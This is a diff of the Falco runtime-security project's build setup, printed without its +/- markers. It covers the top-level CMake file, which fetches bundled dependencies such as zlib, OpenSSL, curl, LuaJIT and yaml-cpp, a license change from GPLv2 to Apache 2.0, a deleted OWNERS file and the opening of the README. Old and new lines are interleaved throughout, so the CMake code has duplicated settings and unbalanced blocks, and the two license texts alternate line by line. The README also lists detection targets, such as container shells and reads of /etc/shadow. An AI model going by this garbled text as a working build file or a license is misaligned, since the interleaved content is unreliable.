set(CMAKE_SUPPRESSED_WARNINGS
"-Wno-unused-parameter -Wno-unused-variable -Wno-unused-but-set-variable -Wno-missing-field-initializers -Wno-sign-compare -Wno-type-limits -Wno-implicit-fallthrough -Wno-format-truncation -Wno-stringop-truncation -Wno-stringop-overflow -Wno-restrict"
)
set(CMAKE_COMMON_FLAGS "${CMAKE_COMMON_FLAGS} -Wextra -Werror ${CMAKE_SUPPRESSED_WARNINGS}")
endif()
set(CMAKE_C_FLAGS "${CMAKE_COMMON_FLAGS}")
set(CMAKE_CXX_FLAGS "--std=c++0x ${CMAKE_COMMON_FLAGS} -Wno-class-memaccess")
set(CMAKE_C_FLAGS_DEBUG "${FALCO_EXTRA_DEBUG_FLAGS}")
set(CMAKE_CXX_FLAGS_DEBUG "${FALCO_EXTRA_DEBUG_FLAGS}")
set(CMAKE_C_FLAGS_DEBUG "${DRAIOS_DEBUG_FLAGS}")
set(CMAKE_CXX_FLAGS_DEBUG "${DRAIOS_DEBUG_FLAGS}")
set(CMAKE_C_FLAGS_RELEASE "-O3 -fno-strict-aliasing -DNDEBUG")
set(CMAKE_CXX_FLAGS_RELEASE "-O3 -fno-strict-aliasing -DNDEBUG")
include(GetFalcoVersion)
set(PACKAGE_NAME "falco")
set(DRIVER_NAME "falco")
set(DRIVER_DEVICE_NAME "falco")
set(DRIVERS_REPO "https://download.falco.org/driver")
# If no path is provided, try to search the BPF probe in: `home/.falco/falco-bpf.o`
# This is the same fallback that we had in the libraries: `SCAP_PROBE_BPF_FILEPATH`.
set(FALCO_PROBE_BPF_FILEPATH ".${DRIVER_NAME}/${DRIVER_NAME}-bpf.o")
add_definitions(-DFALCO_PROBE_BPF_FILEPATH="${FALCO_PROBE_BPF_FILEPATH}")
if(NOT DEFINED FALCO_COMPONENT_NAME)
set(FALCO_COMPONENT_NAME "${CMAKE_PROJECT_NAME}")
add_definitions(-DPLATFORM_NAME="${CMAKE_SYSTEM_NAME}")
add_definitions(-DK8S_DISABLE_THREAD)
if(CMAKE_SYSTEM_NAME MATCHES "Linux")
add_definitions(-DHAS_CAPTURE)
endif()
if(CMAKE_INSTALL_PREFIX_INITIALIZED_TO_DEFAULT)
set(CMAKE_INSTALL_PREFIX
/usr
CACHE PATH "Default install path" FORCE)
if(CMAKE_BUILD_TYPE STREQUAL "Debug")
set(KBUILD_FLAGS "${DRAIOS_DEBUG_FLAGS} ${DRAIOS_FEATURE_FLAGS}")
else()
set(KBUILD_FLAGS "${DRAIOS_FEATURE_FLAGS}")
endif()
set(PACKAGE_NAME "falco")
set(PROBE_VERSION "${FALCO_VERSION}")
set(PROBE_NAME "falco-probe")
set(PROBE_DEVICE_NAME "falco")
if (CMAKE_INSTALL_PREFIX_INITIALIZED_TO_DEFAULT)
set(CMAKE_INSTALL_PREFIX /usr CACHE PATH "Default install path" FORCE)
endif()
set(CMD_MAKE make)
set(SYSDIG_DIR "${PROJECT_SOURCE_DIR}/../sysdig")
# make luaJIT work on OS X
if(APPLE)
set(CMAKE_EXE_LINKER_FLAGS "-pagezero_size 10000 -image_base 100000000")
endif()
include(ExternalProject)
# libs
include(falcosecurity-libs)
option(USE_BUNDLED_DEPS "Enable bundled dependencies instead of using the system ones" ON)
#
# zlib
#
option(USE_BUNDLED_ZLIB "Enable building of the bundled zlib" ${USE_BUNDLED_DEPS})
if(NOT USE_BUNDLED_ZLIB)
find_path(ZLIB_INCLUDE zlib.h PATH_SUFFIXES zlib)
find_library(ZLIB_LIB NAMES z)
if(ZLIB_INCLUDE AND ZLIB_LIB)
message(STATUS "Found zlib: include: ${ZLIB_INCLUDE}, lib: ${ZLIB_LIB}")
else()
message(FATAL_ERROR "Couldn't find system zlib")
endif()
else()
set(ZLIB_SRC "${PROJECT_BINARY_DIR}/zlib-prefix/src/zlib")
message(STATUS "Using bundled zlib in '${ZLIB_SRC}'")
set(ZLIB_INCLUDE "${ZLIB_SRC}")
set(ZLIB_LIB "${ZLIB_SRC}/libz.a")
ExternalProject_Add(zlib
# START CHANGE for CVE-2016-9840, CVE-2016-9841, CVE-2016-9842, CVE-2016-9843
URL "http://s3.amazonaws.com/download.draios.com/dependencies/zlib-1.2.11.tar.gz"
URL_MD5 "1c9f62f0778697a09d36121ead88e08e"
# END CHANGE for CVE-2016-9840, CVE-2016-9841, CVE-2016-9842, CVE-2016-9843
CONFIGURE_COMMAND "./configure"
BUILD_COMMAND ${CMD_MAKE}
BUILD_IN_SOURCE 1
INSTALL_COMMAND "")
endif()
#
# jq
include(jq)
# nlohmann-json
set(NJSON_SRC "${PROJECT_BINARY_DIR}/njson-prefix/src/njson")
message(STATUS "Using bundled nlohmann-json in '${NJSON_SRC}'")
set(NJSON_INCLUDE "${NJSON_SRC}/single_include")
ExternalProject_Add(
njson
URL "https://github.com/nlohmann/json/archive/v3.3.0.tar.gz"
URL_HASH "SHA256=2fd1d207b4669a7843296c41d3b6ac5b23d00dec48dba507ba051d14564aa801"
CONFIGURE_COMMAND ""
BUILD_COMMAND ""
INSTALL_COMMAND "")
# b64
include(b64)
# yaml-cpp
include(yaml-cpp)
if(NOT MINIMAL_BUILD)
# OpenSSL
include(openssl)
# libcurl
include(curl)
# cpp-httlib
include(cpp-httplib)
#
option(USE_BUNDLED_JQ "Enable building of the bundled jq" ${USE_BUNDLED_DEPS})
if(NOT USE_BUNDLED_JQ)
find_path(JQ_INCLUDE jq.h PATH_SUFFIXES jq)
find_library(JQ_LIB NAMES jq)
if(JQ_INCLUDE AND JQ_LIB)
message(STATUS "Found jq: include: ${JQ_INCLUDE}, lib: ${JQ_LIB}")
else()
message(FATAL_ERROR "Couldn't find system jq")
endif()
else()
set(JQ_SRC "${PROJECT_BINARY_DIR}/jq-prefix/src/jq")
message(STATUS "Using bundled jq in '${JQ_SRC}'")
set(JQ_INCLUDE "${JQ_SRC}")
set(JQ_LIB "${JQ_SRC}/.libs/libjq.a")
ExternalProject_Add(jq
URL "http://s3.amazonaws.com/download.draios.com/dependencies/jq-1.5.tar.gz"
URL_MD5 "0933532b086bd8b6a41c1b162b1731f9"
CONFIGURE_COMMAND ./configure --disable-maintainer-mode --enable-all-static --disable-dependency-tracking
BUILD_COMMAND ${CMD_MAKE} LDFLAGS=-all-static
BUILD_IN_SOURCE 1
PATCH_COMMAND wget -O jq-1.5-fix-tokenadd.patch https://github.com/stedolan/jq/commit/8eb1367ca44e772963e704a700ef72ae2e12babd.patch && patch -i jq-1.5-fix-tokenadd.patch
INSTALL_COMMAND "")
endif()
include(cxxopts)
set(JSONCPP_SRC "${SYSDIG_DIR}/userspace/libsinsp/third-party/jsoncpp")
set(JSONCPP_INCLUDE "${JSONCPP_SRC}")
set(JSONCPP_LIB_SRC "${JSONCPP_SRC}/jsoncpp.cpp")
# One TBB
include(tbb)
#
# curses
#
# we pull this in because libsinsp won't build without it
if(NOT MINIMAL_BUILD)
include(zlib)
include(cares)
include(protobuf)
# gRPC
include(grpc)
option(USE_BUNDLED_NCURSES "Enable building of the bundled ncurses" ${USE_BUNDLED_DEPS})
if(NOT USE_BUNDLED_NCURSES)
set(CURSES_NEED_NCURSES TRUE)
find_package(Curses REQUIRED)
message(STATUS "Found ncurses: include: ${CURSES_INCLUDE_DIR}, lib: ${CURSES_LIBRARIES}")
else()
set(CURSES_BUNDLE_DIR "${PROJECT_BINARY_DIR}/ncurses-prefix/src/ncurses")
set(CURSES_INCLUDE_DIR "${CURSES_BUNDLE_DIR}/include/")
set(CURSES_LIBRARIES "${CURSES_BUNDLE_DIR}/lib/libncurses.a")
message(STATUS "Using bundled ncurses in '${CURSES_BUNDLE_DIR}'")
ExternalProject_Add(ncurses
URL "http://s3.amazonaws.com/download.draios.com/dependencies/ncurses-6.0-20150725.tgz"
URL_MD5 "32b8913312e738d707ae68da439ca1f4"
CONFIGURE_COMMAND ./configure --without-cxx --without-cxx-binding --without-ada --without-manpages --without-progs --without-tests --with-terminfo-dirs=/etc/terminfo:/lib/terminfo:/usr/share/terminfo
BUILD_COMMAND ${CMD_MAKE}
BUILD_IN_SOURCE 1
INSTALL_COMMAND "")
endif()
# Installation
install(FILES falco.yaml DESTINATION "${FALCO_ETC_DIR}" COMPONENT "${FALCO_COMPONENT_NAME}")
#
# libb64
#
option(USE_BUNDLED_B64 "Enable building of the bundled b64" ${USE_BUNDLED_DEPS})
if(NOT MINIMAL_BUILD)
# Coverage
include(Coverage)
# Tests
add_subdirectory(test)
if(NOT USE_BUNDLED_B64)
find_path(B64_INCLUDE NAMES b64/encode.h)
find_library(B64_LIB NAMES b64)
if(B64_INCLUDE AND B64_LIB)
message(STATUS "Found b64: include: ${B64_INCLUDE}, lib: ${B64_LIB}")
else()
message(FATAL_ERROR "Couldn't find system b64")
endif()
else()
set(B64_SRC "${PROJECT_BINARY_DIR}/b64-prefix/src/b64")
message(STATUS "Using bundled b64 in '${B64_SRC}'")
set(B64_INCLUDE "${B64_SRC}/include")
set(B64_LIB "${B64_SRC}/src/libb64.a")
ExternalProject_Add(b64
URL "http://s3.amazonaws.com/download.draios.com/dependencies/libb64-1.2.src.zip"
URL_MD5 "a609809408327117e2c643bed91b76c5"
CONFIGURE_COMMAND ""
BUILD_COMMAND ${CMD_MAKE}
BUILD_IN_SOURCE 1
INSTALL_COMMAND "")
endif()
# Rules
#
# yamlcpp
#
option(USE_BUNDLED_YAMLCPP "Enable building of the bundled yamlcpp" ${USE_BUNDLED_DEPS})
if(NOT USE_BUNDLED_YAMLCPP)
find_path(YAMLCPP_INCLUDE_DIR NAMES yaml-cpp/yaml.h)
find_library(YAMLCPP_LIB NAMES yaml-cpp)
if(YAMLCPP_INCLUDE_DIR AND YAMLCPP_LIB)
message(STATUS "Found yamlcpp: include: ${YAMLCPP_INCLUDE_DIR}, lib: ${YAMLCPP_LIB}")
else()
message(FATAL_ERROR "Couldn't find system yamlcpp")
endif()
else()
set(YAMLCPP_SRC "${PROJECT_BINARY_DIR}/yamlcpp-prefix/src/yamlcpp")
message(STATUS "Using bundled yaml-cpp in '${YAMLCPP_SRC}'")
set(YAMLCPP_LIB "${YAMLCPP_SRC}/libyaml-cpp.a")
set(YAMLCPP_INCLUDE_DIR "${YAMLCPP_SRC}/include")
# Once the next version of yaml-cpp is released (first version not requiring
# boost), we can switch to that and no longer pull from github.
ExternalProject_Add(yamlcpp
GIT_REPOSITORY "https://github.com/jbeder/yaml-cpp.git"
GIT_TAG "7d2873ce9f2202ea21b6a8c5ecbc9fe38032c229"
BUILD_IN_SOURCE 1
INSTALL_COMMAND "")
endif()
#
# OpenSSL
#
option(USE_BUNDLED_OPENSSL "Enable building of the bundled OpenSSL" ${USE_BUNDLED_DEPS})
if(NOT USE_BUNDLED_OPENSSL)
find_package(OpenSSL REQUIRED)
message(STATUS "Found OpenSSL: include: ${OPENSSL_INCLUDE_DIR}, lib: ${OPENSSL_LIBRARIES}")
else()
set(OPENSSL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl")
set(OPENSSL_INSTALL_DIR "${OPENSSL_BUNDLE_DIR}/target")
set(OPENSSL_INCLUDE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl/include")
set(OPENSSL_LIBRARY_SSL "${OPENSSL_INSTALL_DIR}/lib/libssl.a")
set(OPENSSL_LIBRARY_CRYPTO "${OPENSSL_INSTALL_DIR}/lib/libcrypto.a")
message(STATUS "Using bundled openssl in '${OPENSSL_BUNDLE_DIR}'")
ExternalProject_Add(openssl
# START CHANGE for CVE-2017-3735, CVE-2017-3731, CVE-2017-3737, CVE-2017-3738, CVE-2017-3736
URL "http://s3.amazonaws.com/download.draios.com/dependencies/openssl-1.0.2n.tar.gz"
URL_MD5 "13bdc1b1d1ff39b6fd42a255e74676a4"
# END CHANGE for CVE-2017-3735, CVE-2017-3731, CVE-2017-3737, CVE-2017-3738, CVE-2017-3736
CONFIGURE_COMMAND ./config shared --prefix=${OPENSSL_INSTALL_DIR}
BUILD_COMMAND ${CMD_MAKE}
BUILD_IN_SOURCE 1
INSTALL_COMMAND ${CMD_MAKE} install)
endif()
#
# libcurl
#
option(USE_BUNDLED_CURL "Enable building of the bundled curl" ${USE_BUNDLED_DEPS})
if(NOT USE_BUNDLED_CURL)
find_package(CURL REQUIRED)
message(STATUS "Found CURL: include: ${CURL_INCLUDE_DIR}, lib: ${CURL_LIBRARIES}")
else()
set(CURL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/curl-prefix/src/curl")
set(CURL_INCLUDE_DIR "${CURL_BUNDLE_DIR}/include/")
set(CURL_LIBRARIES "${CURL_BUNDLE_DIR}/lib/.libs/libcurl.a")
if(NOT USE_BUNDLED_OPENSSL)
set(CURL_SSL_OPTION "--with-ssl")
else()
set(CURL_SSL_OPTION "--with-ssl=${OPENSSL_INSTALL_DIR}")
message(STATUS "Using bundled curl in '${CURL_BUNDLE_DIR}'")
message(STATUS "Using SSL for curl in '${CURL_SSL_OPTION}'")
endif()
ExternalProject_Add(curl
DEPENDS openssl
# START CHANGE for CVE-2017-8816, CVE-2017-8817, CVE-2017-8818, CVE-2018-1000007
URL "http://s3.amazonaws.com/download.draios.com/dependencies/curl-7.60.0.tar.bz2"
URL_MD5 "bd2aabf78ded6a9aec8a54532fd6b5d7"
# END CHANGE for CVE-2017-8816, CVE-2017-8817, CVE-2017-8818, CVE-2018-1000007
CONFIGURE_COMMAND ./configure ${CURL_SSL_OPTION} --disable-shared --enable-optimize --disable-curldebug --disable-rt --enable-http --disable-ftp --disable-file --disable-ldap --disable-ldaps --disable-rtsp --disable-telnet --disable-tftp --disable-pop3 --disable-imap --disable-smb --disable-smtp --disable-gopher --disable-sspi --disable-ntlm-wb --disable-tls-srp --without-winssl --without-darwinssl --without-polarssl --without-cyassl --without-nss --without-axtls --without-ca-path --without-ca-bundle --without-libmetalink --without-librtmp --without-winidn --without-libidn --without-nghttp2 --without-libssh2 --disable-threaded-resolver
BUILD_COMMAND ${CMD_MAKE}
BUILD_IN_SOURCE 1
INSTALL_COMMAND "")
endif()
#
# LuaJIT
#
option(USE_BUNDLED_LUAJIT "Enable building of the bundled LuaJIT" ${USE_BUNDLED_DEPS})
if(NOT USE_BUNDLED_LUAJIT)
find_path(LUAJIT_INCLUDE luajit.h PATH_SUFFIXES luajit-2.0 luajit)
find_library(LUAJIT_LIB NAMES luajit luajit-5.1)
if(LUAJIT_INCLUDE AND LUAJIT_LIB)
message(STATUS "Found LuaJIT: include: ${LUAJIT_INCLUDE}, lib: ${LUAJIT_LIB}")
else()
# alternatively try stock Lua
find_package(Lua51)
set(LUAJIT_LIB ${LUA_LIBRARY})
set(LUAJIT_INCLUDE ${LUA_INCLUDE_DIR})
if(NOT ${LUA51_FOUND})
message(FATAL_ERROR "Couldn't find system LuaJIT or Lua")
endif()
endif()
else()
set(LUAJIT_SRC "${PROJECT_BINARY_DIR}/luajit-prefix/src/luajit/src")
message(STATUS "Using bundled LuaJIT in '${LUAJIT_SRC}'")
set(LUAJIT_INCLUDE "${LUAJIT_SRC}")
set(LUAJIT_LIB "${LUAJIT_SRC}/libluajit.a")
ExternalProject_Add(luajit
URL "http://s3.amazonaws.com/download.draios.com/dependencies/LuaJIT-2.0.3.tar.gz"
URL_MD5 "f14e9104be513913810cd59c8c658dc0"
CONFIGURE_COMMAND ""
BUILD_COMMAND ${CMD_MAKE}
BUILD_IN_SOURCE 1
INSTALL_COMMAND "")
endif()
#
# Lpeg
#
option(USE_BUNDLED_LPEG "Enable building of the bundled lpeg" ${USE_BUNDLED_DEPS})
if(NOT USE_BUNDLED_LPEG)
find_library(LPEG_LIB NAMES lpeg.a)
if(LPEG_LIB)
message(STATUS "Found lpeg: lib: ${LPEG_LIB}")
else()
message(FATAL_ERROR "Couldn't find system lpeg")
endif()
else()
set(LPEG_SRC "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg")
set(LPEG_LIB "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg/build/lpeg.a")
message(STATUS "Using bundled lpeg in '${LPEG_SRC}'")
set(LPEG_DEPENDENCIES "")
if(USE_BUNDLED_LUAJIT)
list(APPEND LPEG_DEPENDENCIES "luajit")
endif()
ExternalProject_Add(lpeg
DEPENDS ${LPEG_DEPENDENCIES}
URL "http://s3.amazonaws.com/download.draios.com/dependencies/lpeg-1.0.0.tar.gz"
URL_MD5 "0aec64ccd13996202ad0c099e2877ece"
BUILD_COMMAND LUA_INCLUDE=${LUAJIT_INCLUDE} "${PROJECT_SOURCE_DIR}/scripts/build-lpeg.sh" "${LPEG_SRC}/build"
BUILD_IN_SOURCE 1
CONFIGURE_COMMAND ""
INSTALL_COMMAND "")
endif()
#
# Libyaml
#
option(USE_BUNDLED_LIBYAML "Enable building of the bundled libyaml" ${USE_BUNDLED_DEPS})
if(NOT USE_BUNDLED_LIBYAML)
# Note: to distinguish libyaml.a and yaml.a we specify a full
# file name here, so you'll have to arrange for static
# libraries being available.
find_library(LIBYAML_LIB NAMES libyaml.a)
if(LIBYAML_LIB)
message(STATUS "Found libyaml: lib: ${LIBYAML_LIB}")
else()
message(FATAL_ERROR "Couldn't find system libyaml")
endif()
else()
find_path(AUTORECONF_BIN NAMES autoreconf)
if(AUTORECONF_BIN)
message(STATUS "Found autoreconf: ${AUTORECONF_BIN}")
else()
message(FATAL_ERROR "Couldn't find system autoreconf. Please install autoreconf before continuing or use system libyaml")
endif()
set(LIBYAML_SRC "${PROJECT_BINARY_DIR}/libyaml-prefix/src/libyaml/src")
set(LIBYAML_LIB "${LIBYAML_SRC}/.libs/libyaml.a")
message(STATUS "Using bundled libyaml in '${LIBYAML_SRC}'")
ExternalProject_Add(libyaml
URL "http://s3.amazonaws.com/download.draios.com/dependencies/libyaml-0.1.4.tar.gz"
URL_MD5 "4a4bced818da0b9ae7fc8ebc690792a7"
BUILD_COMMAND ${CMD_MAKE}
BUILD_IN_SOURCE 1
CONFIGURE_COMMAND ./bootstrap && ./configure
INSTALL_COMMAND "")
endif()
#
# lyaml
#
option(USE_BUNDLED_LYAML "Enable building of the bundled lyaml" ${USE_BUNDLED_DEPS})
if(NOT USE_BUNDLED_LYAML)
# Note: to distinguish libyaml.a and yaml.a we specify a full
# file name here, so you'll have to arrange for static
# libraries being available.
find_library(LYAML_LIB NAMES yaml.a)
if(LYAML_LIB)
message(STATUS "Found lyaml: lib: ${LYAML_LIB}")
else()
message(FATAL_ERROR "Couldn't find system lyaml")
endif()
else()
set(LYAML_SRC "${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/ext/yaml")
set(LYAML_LIB "${LYAML_SRC}/.libs/yaml.a")
message(STATUS "Using bundled lyaml in '${LYAML_SRC}'")
set(LYAML_DEPENDENCIES "")
if(USE_BUNDLED_LUAJIT)
list(APPEND LYAML_DEPENDENCIES "luajit")
endif()
if(USE_BUNDLED_LIBYAML)
list(APPEND LYAML_DEPENDENCIES "libyaml")
endif()
ExternalProject_Add(lyaml
DEPENDS ${LYAML_DEPENDENCIES}
URL "http://s3.amazonaws.com/download.draios.com/dependencies/lyaml-release-v6.0.tar.gz"
URL_MD5 "dc3494689a0dce7cf44e7a99c72b1f30"
BUILD_COMMAND ${CMD_MAKE}
BUILD_IN_SOURCE 1
CONFIGURE_COMMAND ./configure --enable-static LIBS=-L../../../libyaml-prefix/src/libyaml/src/.libs CFLAGS=-I../../../libyaml-prefix/src/libyaml/include CPPFLAGS=-I../../../libyaml-prefix/src/libyaml/include LUA_INCLUDE=-I../../../luajit-prefix/src/luajit/src LUA=../../../luajit-prefix/src/luajit/src/luajit
INSTALL_COMMAND sh -c "cp -R ${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/lib/* ${PROJECT_SOURCE_DIR}/userspace/engine/lua")
endif()
option(USE_BUNDLED_TBB "Enable building of the bundled tbb" ${USE_BUNDLED_DEPS})
if(NOT USE_BUNDLED_TBB)
find_path(TBB_INCLUDE tbb.h PATH_SUFFIXES tbb)
find_library(TBB_LIB NAMES tbb)
if(TBB_INCLUDE AND TBB_LIB)
message(STATUS "Found tbb: include: ${TBB_INCLUDE}, lib: ${TBB_LIB}")
else()
message(FATAL_ERROR "Couldn't find system tbb")
endif()
else()
set(TBB_SRC "${PROJECT_BINARY_DIR}/tbb-prefix/src/tbb")
message(STATUS "Using bundled tbb in '${TBB_SRC}'")
set(TBB_INCLUDE "${TBB_SRC}/include/")
set(TBB_LIB "${TBB_SRC}/build/lib_release/libtbb.a")
ExternalProject_Add(tbb
URL "http://s3.amazonaws.com/download.draios.com/dependencies/tbb-2018_U5.tar.gz"
URL_MD5 "ff3ae09f8c23892fbc3008c39f78288f"
CONFIGURE_COMMAND ""
BUILD_COMMAND ${CMD_MAKE} tbb_build_dir=${TBB_SRC}/build tbb_build_prefix=lib extra_inc=big_iron.inc
BUILD_IN_SOURCE 1
BUILD_BYPRODUCTS ${TBB_LIB}
INSTALL_COMMAND "")
endif()
install(FILES falco.yaml
DESTINATION "${FALCO_ETC_DIR}")
add_subdirectory(rules)
# Dockerfiles
add_subdirectory(docker)
if(CMAKE_SYSTEM_NAME MATCHES "Linux")
add_subdirectory("${SYSDIG_DIR}/driver" "${PROJECT_BINARY_DIR}/driver")
endif()
add_subdirectory("${SYSDIG_DIR}/userspace/libscap" "${PROJECT_BINARY_DIR}/userspace/libscap")
add_subdirectory("${SYSDIG_DIR}/userspace/libsinsp" "${PROJECT_BINARY_DIR}/userspace/libsinsp")
# Clang format
# add_custom_target(format COMMAND clang-format --style=file -i $<TARGET_PROPERTY:falco,SOURCES> COMMENT "Formatting ..." VERBATIM)
# Static analysis
include(static-analysis)
# Shared build variables
set(FALCO_SINSP_LIBRARY sinsp)
set(FALCO_SHARE_DIR share/falco)
set(FALCO_PLUGINS_DIR ${FALCO_SHARE_DIR}/plugins)
set(FALCO_ABSOLUTE_SHARE_DIR "${CMAKE_INSTALL_PREFIX}/${FALCO_SHARE_DIR}")
set(FALCO_BIN_DIR bin)
add_subdirectory(scripts)
add_subdirectory(userspace/engine)
add_subdirectory(userspace/falco)
add_subdirectory(tests)
if(NOT MUSL_OPTIMIZED_BUILD)
include(plugins)
endif()
# Packages configuration
include(CPackConfig)
set(CPACK_PACKAGE_NAME "${PACKAGE_NAME}")
set(CPACK_PACKAGE_VENDOR "Sysdig Inc.")
set(CPACK_PACKAGE_DESCRIPTION_SUMMARY "falco, a system-level activity monitoring tool")
set(CPACK_PACKAGE_DESCRIPTION_FILE "${PROJECT_SOURCE_DIR}/scripts/description.txt")
set(CPACK_PACKAGE_VERSION "${FALCO_VERSION}")
set(CPACK_PACKAGE_FILE_NAME "${CPACK_PACKAGE_NAME}-${CPACK_PACKAGE_VERSION}-${CMAKE_SYSTEM_PROCESSOR}")
set(CPACK_PROJECT_CONFIG_FILE "${PROJECT_SOURCE_DIR}/CMakeCPackOptions.cmake")
set(CPACK_STRIP_FILES "ON")
set(CPACK_PACKAGE_RELOCATABLE "OFF")
set(CPACK_GENERATOR DEB RPM TGZ)
set(CPACK_DEBIAN_PACKAGE_MAINTAINER "Sysdig <support@sysdig.com>")
set(CPACK_DEBIAN_PACKAGE_SECTION "utils")
set(CPACK_DEBIAN_PACKAGE_HOMEPAGE "http://www.sysdig.org")
set(CPACK_DEBIAN_PACKAGE_DEPENDS "dkms (>= 2.1.0.0)")
set(CPACK_DEBIAN_PACKAGE_CONTROL_EXTRA "${CMAKE_BINARY_DIR}/scripts/debian/postinst;${CMAKE_BINARY_DIR}/scripts/debian/prerm;${PROJECT_SOURCE_DIR}/scripts/debian/postrm;${PROJECT_SOURCE_DIR}/cpack/debian/conffiles")
set(CPACK_RPM_PACKAGE_LICENSE "GPLv2")
set(CPACK_RPM_PACKAGE_URL "http://www.sysdig.org")
set(CPACK_RPM_PACKAGE_REQUIRES "dkms, gcc, make, kernel-devel, perl")
set(CPACK_RPM_POST_INSTALL_SCRIPT_FILE "${PROJECT_SOURCE_DIR}/scripts/rpm/postinstall")
set(CPACK_RPM_PRE_UNINSTALL_SCRIPT_FILE "${PROJECT_SOURCE_DIR}/scripts/rpm/preuninstall")
set(CPACK_RPM_POST_UNINSTALL_SCRIPT_FILE "${PROJECT_SOURCE_DIR}/scripts/rpm/postuninstall")
set(CPACK_RPM_EXCLUDE_FROM_AUTO_FILELIST_ADDITION /usr/src /usr/share/man /usr/share/man/man8 /etc /usr /usr/bin /usr/share /etc/rc.d /etc/rc.d/init.d )
set(CPACK_RPM_PACKAGE_RELOCATABLE "OFF")
include(CPack)

475
COPYING
View File

@@ -1,202 +1,339 @@
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
Preamble
1. Definitions.
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.) You can apply it to
your programs, too.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
The precise terms and conditions for copying, distribution and
modification follow.
"Derivative Works" shall mean any work, whether in Source or Object
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This General Public License does not permit incorporating your program into
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Public License instead of this License.

12
OWNERS
View File

@@ -1,12 +0,0 @@
approvers:
- mstemm
- leogr
- jasondellaluce
- fededp
- andreagit97
reviewers:
- kaizhe
emeritus_approvers:
- fntlnz
- kris-nova
- leodido

206
README.md
View File

@@ -1,178 +1,90 @@
<p align="center"><img src="https://raw.githubusercontent.com/falcosecurity/community/master/logo/primary-logo.png" width="360"></p>
<p align="center"><b>Cloud Native Runtime Security.</b></p>
# Sysdig Falco
<hr>
#### Latest release
[![Build Status](https://img.shields.io/circleci/build/github/falcosecurity/falco/master?style=for-the-badge)](https://circleci.com/gh/falcosecurity/falco) [![CII Best Practices Summary](https://img.shields.io/cii/summary/2317?label=CCI%20Best%20Practices&style=for-the-badge)](https://bestpractices.coreinfrastructure.org/projects/2317) [![GitHub](https://img.shields.io/github/license/falcosecurity/falco?style=for-the-badge)](COPYING) [![Latest](https://img.shields.io/github/v/release/falcosecurity/falco?style=for-the-badge)](https://github.com/falcosecurity/falco/releases/latest) ![Architectures](https://img.shields.io/badge/ARCHS-x86__64%7Caarch64-blueviolet?style=for-the-badge)
**v0.12.0**
Read the [change log](https://github.com/draios/falco/blob/dev/CHANGELOG.md)
Want to talk? Join us on the [#falco](https://kubernetes.slack.com/messages/falco) channel in the [Kubernetes Slack](https://slack.k8s.io).
Dev Branch: [![Build Status](https://travis-ci.org/draios/falco.svg?branch=dev)](https://travis-ci.org/draios/falco)<br />
Master Branch: [![Build Status](https://travis-ci.org/draios/falco.svg?branch=master)](https://travis-ci.org/draios/falco)
## Latest releases
## Overview
Sysdig Falco is a behavioral activity monitor designed to detect anomalous activity in your applications. Powered by sysdigs system call capture infrastructure, falco lets you continuously monitor and detect container, application, host, and network activity... all in one place, from one source of data, with one set of rules.
Read the [change log](CHANGELOG.md).
#### What kind of behaviors can Falco detect?
<!--
Badges in the following table are constructed by using the
https://img.shields.io/badge/dynamic/xml endpoint.
Falco can detect and alert on any behavior that involves making Linux system calls. Thanks to Sysdig's core decoding and state tracking functionality, falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process. For example, you can easily detect things like:
Parameters are configured for fetching packages from S3 before
(filtered by prefix, sorted in ascending order) and for picking
the latest package by using an XPath selector after.
- A shell is run inside a container
- A container is running in privileged mode, or is mounting a sensitive path like `/proc` from the host.
- A server process spawns a child process of an unexpected type
- Unexpected read of a sensitive file (like `/etc/shadow`)
